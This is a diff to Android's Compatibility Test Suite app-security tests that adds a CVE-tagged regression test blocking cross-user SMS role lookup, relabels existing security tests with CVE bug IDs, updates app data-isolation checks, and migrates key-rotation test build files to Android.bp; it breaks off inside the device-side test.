diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
new file mode 100644
index 0000000..0c86e10
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class RoleSecurityTest extends BaseHostJUnit4Test {
+    private static final String ROLE_SECURITY_TEST_APP_APK = "CtsRoleSecurityTestApp.apk";
+    private static final String ROLE_SECURITY_TEST_APP_PACKAGE = "com.android.cts.rolesecuritytest";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Before
+    public void setUp() {
+        mBuildHelper = new CompatibilityBuildHelper(getBuild());
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps cannot access role manager")
+    @AsbSecurityTest(cveBugId = 177927831)
+    public void cannotGetSmsRoleHolderForAnotherUser() throws Exception {
+        final int[] userIds = Utils.prepareMultipleUsers(getDevice(), 2);
+        assumeTrue(userIds.length == 2);
+
+        final int initialUserId = getDevice().getCurrentUser();
+        final int secondaryUserId = userIds[1];
+        getDevice().switchUser(secondaryUserId);
+        try {
+            uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE);
+            try {
+                installApp(ROLE_SECURITY_TEST_APP_APK);
+
+                runDeviceTestsAsUser(ROLE_SECURITY_TEST_APP_PACKAGE,
+                        ROLE_SECURITY_TEST_APP_PACKAGE + ".DeviceTest",
+                        "cannotGetSmsRoleHolderForAnotherUser", secondaryUserId);
+            } finally {
+                uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE);
+            }
+        } finally {
+            getDevice().switchUser(initialUserId);
+        }
+    }
+
+    private void installApp(String fileName) throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(fileName), false));
+    }
+
+    private void uninstallApp(String packageName) throws Exception {
+        getDevice().uninstallPackage(packageName);
+    }
+
+    private void runDeviceTestsAsUser(String packageName, String testClassName,
+            String testMethodName, int userId) throws Exception {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 90bffe8..99e5922 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -184,8 +184,9 @@
     }
 
     @Test
-    public void testAppARefProfileDataNotAccessible() {
-        assertDirIsNotAccessible("/data/misc/profiles/ref");
+    public void testAppARefProfileDataAccessible() {
+        assertDirIsAccessible("/data/misc/profiles/ref/"
+                + mContext.getPackageName());
     }
 
     @Test
@@ -196,7 +197,7 @@
         assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
         assertDirDoesNotExist("/data/data/" + APPB_PKG);
         assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/" + APPB_PKG);
-        assertDirIsNotAccessible("/data/misc/profiles/ref");
+        assertDirDoesNotExist("/data/misc/profiles/ref/" + APPB_PKG);
     }
 
     @Test
@@ -259,7 +260,7 @@
         testAppADeDataExists();
         testAppAExternalDirsDoExist();
         testAppACurProfileDataAccessible();
-        testAppARefProfileDataNotAccessible();
+        testAppARefProfileDataAccessible();
 
         // Verify after unlocking device, app a has still no access to app b dir.
         testCannotAccessAppBDataDir();
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index 0ecb443..802e0aa 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -37,8 +37,6 @@
             try {
                 ApplicationInfo applicationInfo = getApplicationInfo();
 
-                assertDirIsNotAccessible("/data/misc/profiles/ref");
-
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
@@ -55,6 +53,7 @@
                 assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
                 assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
                         + FileUtils.APPB_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/ref/" + FileUtils.APPB_PKG);
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.dataDir));
@@ -63,6 +62,8 @@
                 assertDirDoesNotExist("/data/data/" + FileUtils.NOT_INSTALLED_PKG);
                 assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
                         + FileUtils.NOT_INSTALLED_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/ref/"
+                        + FileUtils.NOT_INSTALLED_PKG);
             } catch (Throwable e) {
                 throw new IllegalStateException(e.getMessage());
             }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index 41ca80d..05a10be 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -52,7 +52,7 @@
         assertDirDoesNotExist("/data/data/" + APPA_PKG);
         assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
                 + APPA_PKG);
-        assertDirIsNotAccessible("/data/misc/profiles/ref");
+        assertDirDoesNotExist("/data/misc/profiles/ref/" + APPA_PKG);
     }
 
     @Test
@@ -65,7 +65,7 @@
         }
         assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
                 + APPA_PKG + "/primary.prof");
-        assertDirIsNotAccessible("/data/misc/profiles/ref");
+        assertDirIsAccessible("/data/misc/profiles/ref/" + APPA_PKG);
     }
 
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
index 753bc2b..e775b59 100644
--- a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
+++ b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/src/android/appsecurity/cts/deviceids/DeviceIdentifierAppOpTest.java
@@ -22,7 +22,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Build;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -46,7 +46,7 @@
                     + "granted when invoking %s.";
 
     @Test
-    @SecurityTest(minPatchLevel = "2021-04")
+    @AsbSecurityTest(cveBugId = 173421434)
     public void testAccessToDeviceIdentifiersWithAppOp() throws Exception {
         Context context = InstrumentationRegistry.getContext();
         TelephonyManager telephonyManager =
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 30a5767..04603b3 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -72,7 +72,7 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.cts.util.TestResult;
 
@@ -1174,13 +1174,13 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 140256621)
     public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
         assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 140256621)
     public void testInstallPermissionGrantedInPackageInfo() throws Exception {
         assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
     }
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp
new file mode 100644
index 0000000..000d13c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.bp
@@ -0,0 +1,83 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "cts_signature_query_service",
+
+    srcs: ["src/**/*.java"] + ["src/**/I*.aidl"],
+    sdk_version: "current",
+}
+
+// This is the first version of the test app signed with the initial signing
+// key. This app exports the bound service from the cts_signature_query_service
+// library and is used to verify end to end updates with key rotation.
+android_test {
+    name: "CtsSignatureQueryService",
+    defaults: ["cts_support_defaults"],
+    compile_multilib: "both",
+    sdk_version: "current",
+    static_libs: ["cts_signature_query_service"],
+    certificate: ":cts-ec-p256",
+    v4_signature: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// This is the second version of the test app signed with the rotated signing
+// key with an updated version number. This app is intended to verify that an
+// app continues to function as expected after an update with a rotated key.
+android_test {
+    name: "CtsSignatureQueryService_v2",
+    defaults: ["cts_support_defaults"],
+    manifest: "AndroidManifest_v2.xml",
+    compile_multilib: "both",
+    sdk_version: "current",
+    static_libs: ["cts_signature_query_service"],
+    certificate: ":cts-ec-p256_2",
+    additional_certificates: [":cts-ec-p256"],
+    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
+    v4_signature: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// This is the third version of the test app signed with the same rotated
+// signing key as v2. This app is intended to verify that an app can still
+// be updated and function as expected after the signing key has been rotated.
+android_test {
+    name: "CtsSignatureQueryService_v3",
+    defaults: ["cts_support_defaults"],
+    manifest: "AndroidManifest_v3.xml",
+    compile_multilib: "both",
+    sdk_version: "current",
+    static_libs: ["cts_signature_query_service"],
+    certificate: ":cts-ec-p256_2",
+    additional_certificates: [":cts-ec-p256"],
+    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
+    v4_signature: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
index c453d7a..930dd06 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2020 The Android Open Source Project
+# Copyright (C) 2021 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,65 +11,8 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
 LOCAL_PATH := $(call my-dir)
 
-cert_dir := cts/hostsidetests/appsecurity/certs/pkgsigverify
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts_signature_query_service
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-Iaidl-files-under, src)
-LOCAL_SDK_VERSION := current
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-# This is the first version of the test app signed with the initial signing
-# key. This app exports the bound service from the cts_signature_query_service
-# library and is used to verify end to end updates with key rotation.
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignatureQueryService
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the second version of the test app signed with the rotated signing
-# key with an updated version number. This app is intended to verify that an
-# app continues to function as expected after an update with a rotated key.
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignatureQueryService_v2
-LOCAL_MANIFEST_FILE = AndroidManifest_v2.xml
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the third version of the test app signed with the same rotated
-# signing key as v2. This app is intended to verify that an app can still
-# be updated and function as expected after the signing key has been rotated.
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignatureQueryService_v3
-LOCAL_MANIFEST_FILE = AndroidManifest_v3.xml
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-cert_dir :=
+# Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp
new file mode 100644
index 0000000..f52e817
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.bp
@@ -0,0 +1,84 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+// This is the instrumentation test package for the CtsSignatureQueryService
+// app. This app verifies that the standalone app is functioning as expected
+// after a key rotation and provides a companion package that can be used for
+// the PackageManager checkSignatures APIs.
+android_test {
+    name: "CtsSignatureQueryServiceTest",
+    defaults: ["cts_support_defaults"],
+    compile_multilib: "both",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "cts_signature_query_service",
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-ec-p256",
+    v4_signature: true,
+    // Disable dexpreopt and <uses-library> check for test.
+    enforce_uses_libs: false,
+    dex_preopt: {
+        enabled: false,
+    },
+}
+
+// This is the instrumentation test package signed with the same signing key and
+// lineage as v2 and v3 of the CtsSignatureQueryService test app.
+android_test {
+    name: "CtsSignatureQueryServiceTest_v2",
+    defaults: ["cts_support_defaults"],
+    compile_multilib: "both",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "cts_signature_query_service",
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-ec-p256_2",
+    additional_certificates: [":cts-ec-p256"],
+    lineage: ":cts-ec-p256-por_1_2-default-caps.lineage",
+    v4_signature: true,
+
+    // Disable dexpreopt and <uses-library> check for test.
+    enforce_uses_libs: false,
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk
deleted file mode 100644
index 12c1370..0000000
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk
+++ /dev/null
@@ -1,59 +0,0 @@
-#
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-cert_dir := cts/hostsidetests/appsecurity/certs/pkgsigverify
-
-# This is the instrumentation test package for the CtsSignatureQueryService
-# app. This app verifies that the standalone app is functioning as expected
-# after a key rotation and provides a companion package that can be used for
-# the PackageManager checkSignatures APIs.
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignatureQueryServiceTest
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service androidx.test.core androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
-# Disable dexpreopt and <uses-library> check for test.
-LOCAL_ENFORCE_USES_LIBRARIES := false
-LOCAL_DEX_PREOPT := false
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# This is the instrumentation test package signed with the same signing key and
-# lineage as v2 and v3 of the CtsSignatureQueryService test app.
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignatureQueryServiceTest_v2
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SDK_VERSION := current
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service androidx.test.core androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
-LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
-LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
-# Disable dexpreopt and <uses-library> check for test.
-LOCAL_ENFORCE_USES_LIBRARIES := false
-LOCAL_DEX_PREOPT := false
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-cert_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
index 51fa279..4087afa 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -24,7 +24,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.UserManager;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.telephony.TelephonyManager;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -37,7 +37,7 @@
     private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
 
     @Test
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 148414207)
     public void testLocationPolicyPermissions() throws Exception {
         assertNotNull(mContext);
         PackageManager pm = mContext.getPackageManager();
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
index 2d5ceb7..81d16cc 100644
--- a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
@@ -52,10 +52,6 @@
                 if (isSettingsDeprecated(ex)) {
                     continue;
                 }
-                /** b/174151290 skip it due to it's @hide but also @TestApi */
-                if (key.equals(Settings.Secure.NFC_PAYMENT_DEFAULT_COMPONENT)) {
-                    continue;
-                }
                 // Skip checking for keys with maxTargetSdk because they might not be readable
                 if (Arrays.asList(settingsKeysWithMaxTargetSdk).contains(key)) {
                     continue;
diff --git a/hostsidetests/packagemanager/boottest/Android.bp b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
similarity index 68%
copy from hostsidetests/packagemanager/boottest/Android.bp
copy to hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
index 9d1f96e..5af5618 100644
--- a/hostsidetests/packagemanager/boottest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
@@ -1,3 +1,4 @@
+//
 // Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,23 +12,32 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-java_test_host {
-    name: "CtsPackageManagerBootTestCases",
+android_test_helper_app {
+    name: "CtsRoleSecurityTestApp",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
     libs: [
-        "cts-tradefed",
-        "tradefed",
-        "compatibility-host-util",
+        "android.test.runner",
+        "android.test.base",
     ],
-}
\ No newline at end of file
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    platform_apis: true,
+    min_sdk_version: "29",
+    target_sdk_version: "29",
+    test_suites: [
+        "general-tests",
+        "cts",
+        "sts",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..e6b13a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.rolesecuritytest">
+
+    <application android:label="RoleSecurityTestApp" />
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.rolesecuritytest" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
new file mode 100644
index 0000000..b4292a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 137825
+ewol@google.com
+zhanghai@google.com
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
new file mode 100644
index 0000000..25db045
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rolesecuritytest;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.*;
+
+import android.app.Instrumentation;
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.os.Build;
+import android.os.UserHandle;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Instrumentation mInstrumentation;
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Test
+    public void cannotGetSmsRoleHolderForAnotherUser() throws Exception {
+        assumeFalse(ModuleDetector
+                .moduleIsPlayManaged(getInstrumentation().getContext().getPackageManager(),
+                    MainlineModule.PERMISSION_CONTROLLER));
+        assertNotEquals("This test should be run in a secondary user", UserHandle.USER_SYSTEM,
+                UserHandle.myUserId());
+        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+            return;
+        }
+        boolean exploitSuccessful = false;
+        try {
+            final Context context = ApplicationProvider.getApplicationContext();
